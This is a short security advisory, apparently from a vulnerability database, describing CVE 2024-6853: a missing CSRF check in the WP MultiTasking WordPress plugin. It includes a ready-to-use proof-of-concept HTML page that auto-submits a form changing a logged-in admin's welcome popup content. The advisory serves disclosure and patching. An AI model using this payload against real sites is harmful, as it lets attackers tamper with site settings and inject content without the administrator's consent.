WP MultiTasking <= 0.1.12 – Welcome Popup Update via CSRF | CVE 2024-6853

Description

The plugin does not have CSRF check when updating welcome popups, which could allow attackers to make logged admins perform such action via a CSRF attack

Proof of Concept

Make a logged in admin open the following HTML:

<form id="csrfForm" action="https://www.example.com/wp-admin/admin.php?page=wpmt_welcome_popup" method="post">
<input type="hidden" name="default_wcome_init" value="1">
<input type="hidden" name="welcome_popup_status" value="1">
<input type="hidden" name="welcome_popup_home" value="1">
<input type="hidden" name="default_wcome_pop_days" value="30">
<input type="hidden" name="default_wcome_pop_delays" value="5">
<input type="hidden" name="default_wcome_content_popup" value="2">
<input type="hidden" name="default_wcome_content_url" value="">
<input type="hidden" name="default_wcome_embed_content" value="2">
<input type="hidden" name="default_wcome_custom_content" value="Hacked - Malicious code">
<input type="hidden" name="default_wcome_width" value="500">
<input type="hidden" name="default_wcome_height" value="400">
<input type="hidden" name="default_wcome_speed" value="350">
<input type="hidden" name="default_wcome_overlayClose" value="1">
<input type="hidden" name="save" value="Save changes">
<input type="hidden" name="action" value="save">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>